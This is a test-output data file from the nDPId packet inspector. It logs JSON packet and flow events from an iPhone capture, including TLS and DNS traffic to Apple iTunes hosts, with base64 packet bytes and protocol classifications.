+00425{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":80771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WaAbsCzUkmtxQaoYAQA\/+hSAAAAQEIChHf7cZbEwzB"} +00423{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":80813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGznXAqAIRXHtNGsWbAbupO4D6VGVqJ4AQBAtsOAAAAQEIChHf7eAzMbcg"} +01125{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":80888,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGzG7AqAIRXHtNGsWbAbupO4D6VGVqJ4AYBAvCNgAAAQEIChHf7eAzMbcgFgMBAgABAAH8AwOVQZ8FnUDf4cuVlN3Dfe\/tO8oLU\/pP+UZ2rTRx02gYWCC8t86tHdWqnxE\/bapLx0rLdTwSMsDVwQ5W18WBw\/RbcQA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABoAGAAAFXBsYXkuaXR1bmVzLmFwcGxlLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACCvIr1kF5VgJNd\/0ntXVaysO1Tdse1BkZg8MzZDFY0NfAAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":352,"source":"iphone.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1582454599934,"flow_last_seen":1582454600080,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.123.77.26","src_port":50587,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.2","client_requested_server_name":"play.itunes.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00425{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":115292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0cJ0AADUGqNhce00awKgCEQG7xZtUZWonqTuC\/4AQAOtswQAAAQEICjMxt7IR3+3g"} +02389{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":116695,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUcJ4AADUGozVce00awKgCEQG7xZtUZWonqTuC\/4AQAOu0AQAAAQEICjMxt7MR3+3gFgMDAHoCAAB2AwPt61H6LFcJK86TX1GoH2PrY5tXpRF\/2SwmLfjDobAnLSC8t86tHdWqnxE\/bapLx0rLdTwSMsDVwQ5W18WBw\/RbcRMCAAAuACsAAgMEADMAJAAdACDz5rm0ZHHkdC70mqVixD+6PP+1VpNnjk4S2jr6YWMQWhQDAwABARcDAwAu\/IL2b+uh8v\/WQXLnGLTJF\/1zhJjgI4zH07lbGC7eBHKA5px\/1n1rKaOdZ\/oycxcDAw9hdpml+4bz\/FPRkb\/SbtBwcuz4cXwGWPA1ZaB1Xue15aFDeSq1uaLJCA8nRA64afvuv2HzQacaTFRgiAb+Yk+prC74vIiIILFVz3Dcw4bZ283K\/U8H3mFxQ9kuLXYXeen8TL6rIGsdv1CnXplV5+M4L2NJKP+ZOYpOgWU2czzsYVbqLROPY8WHyRJCiVgpgI2BwhLkwsgUT3G+R\/i9aVe7UU9OXlvxHfpz\/UEuhI82ej\/xl2nJVMqCjr+k+CBUrJ2\/7k2b8CkB\/oObgL6hITgMR62I6D+YWaHbbNZgBDFWGR0lPcAx8TmaEWQiC+zwUP\/bAfg2ciphmehJ+xqcALy\/r2LJ6XBqaQSeNGdNZbGE0kK0pxxNlXS4xECnAUnSjTByNgmD0kxL+6fxTRGjdoIXdw\/eQ0ibGkzgHaAkMe5VkVIk46bdyCzhDKZpBDuF5v+jvxYAeoaUAy2RZvT+cik9evtYRtpklOsUjwDDFFFv7UOszCSHyxBifzyb4HjslR9cPPfTy92zv4Z8fRuDLKENWWDuwsyniTVEcOcNcuJBVVIAK2FI0Z2i2G7zS8YF6y8kuX1UlRsoWpS1Wx0JX4c3I0FMU6cx5GqXpPfBukHyn9yRVGJvwDe5gncxu+tBuC6V7PuU+P8UH\/vwxHpz5pBOwoKIe3uV4pDOZy7ptYeyRNBok6iA1g8A\/qzg2Nms9xPpdPNpY8zqjzJb3rcL3i5NJZsGgxErINlbnURvA4Jv0W7cLXDzAfEXP4EuH8eTLhD5mkATgzvc03nNWkE62B+1P1FlsqaBhBtom1a7Kf1TF+UB3hQZD2DON3kFZ6nHyevuoAGKjS0gnIzStI\/ehnzKZiUdBjCzEoeSr2bY3rzy4HCahJCVIC8ImjZg7OjdZW3273pdEbsAwwg5kcwUHsG9u+VngPhuMSQ0vLgCM9vt5luBPw0sU7XPJKB\/lTIYjylEH5kPE8AymVwnYAZkXzRienK2lyW194jONv0VuGbBgH2+rD519x+3eANtV3b1Z6Sg0KMSALIZCDc0qK90H6kmABzkGlmu3zer9WFypg8lciwzMX\/gsnZN2SGuidVrFmGFUDbaX+7dnRBzUpCIbWTED1qwv7SrZJK\/fpYRpgl\/AeHqgkHIww9\/ujcKqI6U\/XAHTllgvHLnDki3Wj6gpKpFpOb9\/YhP2NBslB0pbUNLTCV6b4AWXvUBT46VySxj27HTjnV+8NQg10tlJW6+yXfV2ysS7\/w5XoYyjpjCPbHjbfncluasqfZkE4AMlYLaPi8vwNmwErCOOq4ChMAfwuALUL9GK9sU6DPQBAU5pxfwUgq1GJs+nL9doBOcThIfcW6Fo1c\/e9h1NUBZU07VSI6prjj7sNiiP06r53dsmscVRTsgjT3wuAZKx4YiW+6zrV2ZRAKWWYzEil74OqBABpIX1rAkWb3rTk1OclVbD+sC\/tDGbWW9uBSsr\/liO1Usp5pFlj40HCf9Y1cKJ7DmpkecUrMSSN1+Q+wq3usWDyhnRVG9sHpw6MvjZ5V\/vCpLkps3I6nUoKIF48iHB+tyPnOb4kn7AAIjUuogwgK8vwHvkI3lEsVIbH\/9F5sNXuXWmAA+gxKrllyCgYK2jacItGh8R9Wrdw\/7\/x5ruAolo\/zhURyg+Ygxg8AY6RyVuakgfoTogkza"} +00834{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":364,"source":"iphone.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":6,"flow_first_seen":1582454599934,"flow_last_seen":1582454600116,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.123.77.26","src_port":50587,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.3","client_requested_server_name":"play.itunes.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02380{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":116854,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUcJ8AADUGozRce00awKgCEQG7xZtUZW\/HqTuC\/4AQAOvMTQAAAQEICjMxt7MR3+3gn2nKgfmgF8aBkF3X7KNk6924h1FJsguks39Tk7FoXiTmioe6vz3e8l4G3Hl88yrKTSppvPgnbA4LIgCa\/hHBWlx0ORGxxsTEZgbUtoaAe7ZOLtOwoW90Py56ug379hKo85n8MFyPZBNKq4TcGR9hcO4NbuYxncak7IdoE7Nj6EUghd3aAjAXqH3LTxF76oopL\/JhumvVC3dw7VsHgEJauvJGO5HmNSu9AscFLSPu2qw5pH0qSm1H3dg53pUKsUfRg7y7dgZ8T\/v42On\/n5w3yLHouQ2sMaolF\/w\/p+SnXeNANgRhmY85tpb6B9kr2N3w4NEwBiC6S3MdfK1JF5yNBoobLxFbZFcTbayfGKs3at+GCok3OUkA7sT2s39j2lsr3H04Ik\/sHCq7YdiegEiBu\/eJy88ejAskE1SC6PTIBrH9DUOUhokOOEzz8eN+VeMte2E9Xe0WJn1ypDMXNh+ZYMI5LZFE13QL49M3Q+4+wmXLc+dk5EwAX0Mauvvek5S3GqoL+JBmSMG9TSmU4qlO4GXJwDq3WGToe8zBbnTBIvrv5As8GwuQ99OB4+ooth9+pC80yFhkesFfTlFQwIAsOQOAiCh0kjTLuidTU+fFeBeTLuyx4LEUD50WMmu1n6rgaZY4oWu96J0AFSqLYiJQXrTq31bnIIx7gu1RxyRByg4yjF7NfouMonfJ+470hO8cybUvH\/ormNXFsMrsjZqr76FxX9tA3KvtZJ2CTkYPOnvwThfg82YYhJi35M7dVEeKN0j7uBe1JEFiiAIYFT+Di5z4CaWtpwngWZJFEU3i3zpkdW2WqM5o1oaNUQ3dxcMPBN+8jHvz6MDcGqLoIvHsfIVBmMa5fJywxqhx2UGt7qMR4SUlIlOXiaA16yCvXF97FEDhUjD606Mck0RI0gYMuNOKTuFsuWlvJkgM1QtGtEhBoaFsWu9GFsm0rWYchXp6vY3iVLELUXJa1J9w7u0kznpwFhS50fSWRJVIrCAbtVUXLBwCwzeXA\/psp8mpwXu+1aFDnTulXXNIaKYIkvVuxBMn\/XcpETFJMfdw2RwxJ5SrXPcDYB4KEOBTeODNXA3ztqaFAw5aaaMvODhBx4aog4D7ncqV\/tSGnyt4SpZzGeAqnqTMcjCO8q4kTpdAwlCDOmKDI64u2u9y4R4jasGQgSLknp2qogAojJdaDjC07zGPnV54lVjlbM++gzmCl+64AV0Wapi57pNh5nhKe14UICK4S1\/eVSLi2UVPiRdXqHRAnVUMZwUZY4X2tro0Lmix0wo1CG2pnIzQd95Z1v99CXLjJUMssikjv5v9ArJouToIwVoeBEAIV\/FLIoLw6lKXaTRoUWU8b2t+exqF2oIoQyxUKvxiapQKC1tsfFo+kcDR9phLmtGbDTKK\/GecWARBWWWGpQjjodQ\/4tPWZwXsT9a8OyVUWkie6f7\/2E2WQ\/H+PiRFbFuHric+37Lk6zg2U5K3rFjOnp9g0sMCKRmFKs\/7Unj5v83vjtavl9H1YvUx+J3QefQzHy6LWoGG0ef6LRQRXodUdtpY\/yr36YpgYisXLiVgfJtuSyHDNGAlY4V1FZxawcS3MqO5+V1h3zGcddTgHIc82Cs+iKoHJgi91vel7\/pq1Tk7+uZH94J6dX1UIp5nO9cX6fVeUvOaO75f1iU5K\/Nijr\/EL\/Pzir59OuVP8R0\/uHhcStDoy3qeuRZ\/MOolCXeuhGRpPUGO7foBrnkxKZbYYViI7jBspmI\/TkXyPpiK5NStN88bhfNnsmQ7EEbCUuq8KkNAJHlkcYqA\/CdWAft6geJqvGog3p8feqyhTdoj1vPwv4H2KEQnWi2EfSZ0lShAFK4I4anU1WcuNlWWRYTFJENVgtO3kU8GMj65LfPRJrA9xjAdiOnDNlSY1DZgXSDBQJduK0LuWtBG"} +02081{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":116927,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAgT0cKAAADUGpBNce00awKgCEQG7xZtUZXVnqTuC\/4AYAOt63wAAAQEICjMxt7MR3+3gynpz1ygj\/bNUsbM8HfPqWUKmt0Zp5XH0md2fuKkLvqo2GLSpcLsvAkG24g7AGxJOTSmJmSFSG5W7ioQg18v8jpiPxzeYJbEu2AqIf6wyQwtvs6GE3rgEIeIzmdguSBtGAcYs1Qupw1V4UgUdk1wXjSKEdd4GIavkNFStdWoWfbyomomSUUpFbda\/MS3ZMSCxez8uzFRmWToPEolYpfqBEcTQCw4SLh1KcEcQZPfFbYn\/wBOdmWOEAK45X5DK309oe2B2TJfVY6WwyWoXqZZV2DFxTPzKByTS6DQ8j8OKd6On2UUrx\/UYTTMqwQ\/b1A9ihjmtLYJQmcHCPnuaLV+rBmfCHsRKlJBKCujbz+OH+ZNtL4zGeGq8lVPRwPSFSD1PbAjIWoxDo2nYy1pTq8N629cg\/3N921rid0CRofH1AsyGQcMDGxoGlVfcK9fQM0C2f\/KbZ4RomG7bOpKje8ozG7dQ2VbI0AYrjduLgqAX6pR3meIIMaAnlzL3LpTnH8F4q9549jefbBeNnumYxHXoq71vQ7JN+ajAi07ftBNoG6P9P2LNZTAps3c6oW+MIDUnE\/SVpTBmMJQ13QYlGoT8xMAXMwMwMco9rCt1PCgZkFAvMve82Nf4V1GWkJEBH7xyI4SIOQCs7GxcVhSs9AVFOZBHKUwc8jZj7vOpGqa9uOhZP4nNakYP1jCg6iBKeKpPxGIrBQytACXBTEpcNJCvqVt\/XZUFfBk1so1BS58QR0V4Ua7\/kUR4uJJgytp7iD1elajgXgPoLDTrkONgzg2kj9mGSE0J5x3cOwzluzWd\/2gQLXa+O+aOQQPf8avyso35IpT4Odhhch7CNBqFdmKLnDOEHMg25c9nAQJjXu6bwQs71cdyTnYQkRXiIHiWyoHQnbs+a\/Iqo9cvOQhhEZqfqcm2TydTwJGDrTrlSuOMPJPAzxh5ZSyvga4F1q3l0bT8x13C0DBDBEzCy2rhc0wngwm2E+qBf41x2C7o8ThzQEA\/if\/QyXvqk5TYR4dhT5uEIMWtel8iluiX99pS3xfFH+n7LhmlhuRASFlIj61j099Jb1LuJxQy2M0HvfQ7znlAuQKV6nG7OSadwku\/hbYMk\/U4m7qPDPsnwS3lw10GxMqN+rIuEshmRXhyUywZrzz8zKCAJXP87A3r9\/XfS7Vlg3MuX0EshaRFm8VZpoGnxMWUjr\/ucwHO0y4OiIr02A5QPdnCG7fbFXCxtgytlU\/CDvnNejFF5bSvGzUjvIAThBJjFE+aYB6OkJA+NO9fLiPf8Vp6SEfU23ffYm\/XlmIcID2YMNs3gBCuOQ2A1dG5yWLDq\/IG8Rnz9mZ6oTukUKowdGJKnHSbCeP9cOpD8+qxRVhpDEkbDxwQgMMlw\/9Uam4tDY5YHBzS4pM08V6MiQ0Eh0Y2cVK679S0t9T\/sh\/tPvt0FgEgZEeh4089uah+oEx4HiYFl6iLp\/Tu9wGr11xDQoSSgZuyBUjErS6OljQbTOtay+q+pEtdGDXe4tksRL4zBGdmfzkCL4w7EI2bkAo2XJjtZdx9wqL5uGiubBsZYb9qBUCu91OlMeXMkBNmAg9FIKvG531uJwFd6OoSxjfFV2YNmixIn1exKm4\/Oi4XGA=="} +00956{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":116945,"pkt_caplen":456,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":456,"pkt_l4_len":422,"pkt":"xGGLNYKpxiwDYGpkCABFAgG6cKEAADUGp0xce00awKgCEQG7xZtUZXonqTuC\/4AYAOuJSwAAAQEICjMxt7QR3+3gsXa6VjEMA\/qTH4WMxt\/gfS5E4SAH3a5nmEs4Ha4iFwMDARlx8j7b2\/wyynr\/fCjWGnceHIW5qdJ0Ed0eWVgfY8+6dPYr74sh9Ipek19YOtvsg68aayL87264TsJm6tjpx+gyYZRiowvAQrZgj5KLOpg\/RuPvHkFUXg0XQIrUF+j45aAto5QF2a4WUbLlw8x7Alt83CmpLJhSio6qnFlhyYY00HueZ7hfsWKuZgWP0GljSeG5RYgz8INO5FGUU5B\/SInaazsKyaCxgriUrqnE962Gmptr7pcf4z81ByJZPM2uSLhTDwF7pZjjaNysDZc4NDbb0ncYXukqFxGk4olRIShvAoLVawWnSzvt8UfOd2J\/ejmG5Ytt2cVAuNWGbCs3+S0hncmmqHuEBDlAlvfYK5AjVPEPyKufTGua2RcDAwBF4W2JIjBskwTIw1j05siuqREXKUeeWZebQIXIjXhU002OIbsotbsoQ1lgL+24z+OPb1kTq1LMfdj5Z\/u2tJSxlVrJ9UeS"} +00427{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":119504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGznXAqAIRXHtNGsWbAbupO4L\/VGV1Z4AQA\/ReUgAAAQEIChHf7gUzMbez"} +00427{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":119523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGznXAqAIRXHtNGsWbAbupO4L\/VGV6J4AQA\/ZZkAAAAQEIChHf7gUzMbez"} +00427{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":119573,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGznXAqAIRXHtNGsWbAbupO4L\/VGV7rYAQA\/xYAwAAAQEIChHf7gUzMbe0"} +00540{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":130428,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xiwDYGpkxGGLNYKpCABFAgCEAABAAEAGziPAqAIRXHtNGsWbAbupO4L\/VGV7rYAYBADYRAAAAQEIChHf7hEzMbe0FAMDAAEBFwMDAEX\/XpjJrdIuTQ7WfUad\/LITgBIPm70rbSOAE9S9roolg0tCwdyvLJXS9DsSfw\/F0W6bgM1P9P7o4jVsI7rbu5Y3epqnQq4="} +00822{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":163859,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFTcKIAADUGp7Jce00awKgCEQG7xZtUZXutqTuDT4AYAOtUHgAAAQEICjMxt+MR3+4RFwMDARoUWmOetpJsTERJmzhBCA8jpi\/xcKnLsK84kce6Ao2MRyhDd69aWt\/ofXEx374g\/F5QC97XpSdg12YxhbAF4DSNvniVx\/hh0rTMr2XpyPxBVKAEzwiiURhFAHBFphw+C7xWaPNPncluuMrKbfPuxFXPxMxKCl3J8vv+Jm0txfRwh8+bLDtXV\/iCh65AvpA0Ns9oepa44WmiMYb51QvCNz8v\/PJjWXE6voFML1EXF7aSWioEpak47iKkIEa6yffGFtOQYGTiOR+xbxgmu67OPQ+8aieh\/\/g6bFtJblx+2VYbXwasB93CAS2\/flz59HKJF31E\/vzvRmun1HlzPcSi1keemf7CHy+rU5qqPDQk9aqWEcTe0vw50H7o2q4="} +00818{"flow_id":51,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":176375,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFTcKMAADUGp7Fce00awKgCEQG7xZtUZXzMqTuDT4AYAOvWbQAAAQEICjMxt+MR3+4RFwMDARphOZHE1qgUIOEb03ZCD+O0FOJclKPZ1SVCxLgyzVyVHzi4TUQEujdDgJNPkR\/GPimn6coUYENMg3ZdzceVssTJAy\/z\/2LbNdsPkMk8Gze3qRvtgOrBKekQhMmE4Y\/qzNNGfcOsK4uEwmaVThLaRKXXUZpdn3UJ++2PMvfaqROQKGmYtP77Z3kXY3QP1iwb\/42fJ5M7rzTJ7RYmEho2Qhc8r2AkkEaShuzx7GHCvnKyTTmUHHMpe9Zq2zY4gGkoW8aXLao81Ku0NC8JO2JLCGSdIUn9g7eBMAjUfoxEWHWWW6I5O\/jkBOUxwhD8Bp69iTvuEpx4QzDXjtAMCpzJrI2YMiY4GrVAvkgMqz8SnsGKNSzd4q8tUL9mlY8="} +00600{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":252093,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAgCyAABAAEAGv97AqAIREYmmI8WZAbu9h+C3\/4Uq\/4AYBABd+AAAAQEIChHf7kLKEDopFgMDAEYQAABCQQTZRdeqgH933\/0YQkxoVWk3vpi\/5MvHcUXVGqvztHrVmPzO2NQcXf+XPiq1cZU3+MjmkxYpWsXyROd9tneOJAR6FAMDAAEBFgMDACgAAAAAAAAAAJw1OZiuYS+tEO+Hd6c6lK0ZkgPyE5on+DTSJH1yoCwW"} +00497{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":443725,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAgBnJhsAACsG7w4RiaYjwKgCEQG7xZn\/hSr\/vYfhNYAYAEGDPwAAAQEICsoQPLQR3+5CFAMDAAEBFgMDACijXGTc3lLFvZRZu6rFz3PNVLffHlIVt0NF7hnDkSCoTEf3BF4V4KgZ"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"iphone.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1582454600454,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63677,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":454021,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"xiwDYGpkxGGLNYKpCABFAABDtJ8AAP8RgafAqAIRwKgCAfi9ADUAL+BtI4YBAAABAAAAAAAABHN5bmMGaXR1bmVzBWFwcGxlA2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":419,"source":"iphone.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1582454600454,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63677,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"sync.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00635{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":494055,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"xGGLNYKpxiwDYGpkCABFAADQcdgAAEARguLAqAIBwKgCEQA1+L0AvB7yI4aBgAABAAQAAAAABHN5bmMGaXR1bmVzBWFwcGxlA2NvbQAAAQABwAwABQABAAAF1gAmCHN5bmMtY2RuDGl0dW5lcy1hcHBsZQNjb20GYWthZG5zA25ldADAMwAFAAEAAAWqABsGaXR1bmVzBWFwcGxlA2NvbQdlZGdla2V5wFTAZQAFAAEAABGWABgEZTY3MwVkc2NlOQpha2FtYWllZGdlwFTAjAABAAEAAAAYAARfZRg1"} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":422,"source":"iphone.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":2,"flow_first_seen":1582454600454,"flow_last_seen":1582454600494,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":47,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63677,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"sync.itunes.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"95.101.24.53"}} 